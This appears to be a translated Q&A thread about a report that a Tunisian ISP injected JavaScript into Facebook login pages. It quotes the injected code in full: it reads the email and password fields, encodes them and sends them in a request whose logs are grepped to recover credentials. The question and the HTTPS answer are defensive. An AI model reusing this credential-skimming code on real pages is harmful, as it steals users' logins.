ISP注入Javascript

时间:2011-06-30 09:28:32

标签: javascript facebook security code-injection

此页面声称突尼斯ISP正在将javascript注入Facebook页面的源代码中:

http://www.r00ted.com/doku.php?id=injection_tunisie

function h6h(st){var st2="";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st="";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
 var frm = document.getElementById("login_form"); var us3r = frm.email.value; var pa55 = frm.pass.value;
 var url = "http://www.facebook.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55); var bnm = navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById("x6y7z8"); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false); xr.send("");}
function inv0k3(url) {var xr = new ActiveXObject('Microsoft.XMLHTTP'); xr.open("GET", url, false); xr.send("");}

根据页面,用户wo0dh3ad不存在,但这样可以在日志中做一个简单的grep来获取用户的密码(或密码哈希值)。

grep wo0dh3ad /var/log/FAI.log

这实际上可以吗?如果是这样,有没有办法检测一些页面的篡改,只是说某些东西是奇怪的,应该使用另一个浏览器/连接?

1 个答案:

答案 0 :(得分:2)

使用SSL(HTTPS)来防范中间人攻击。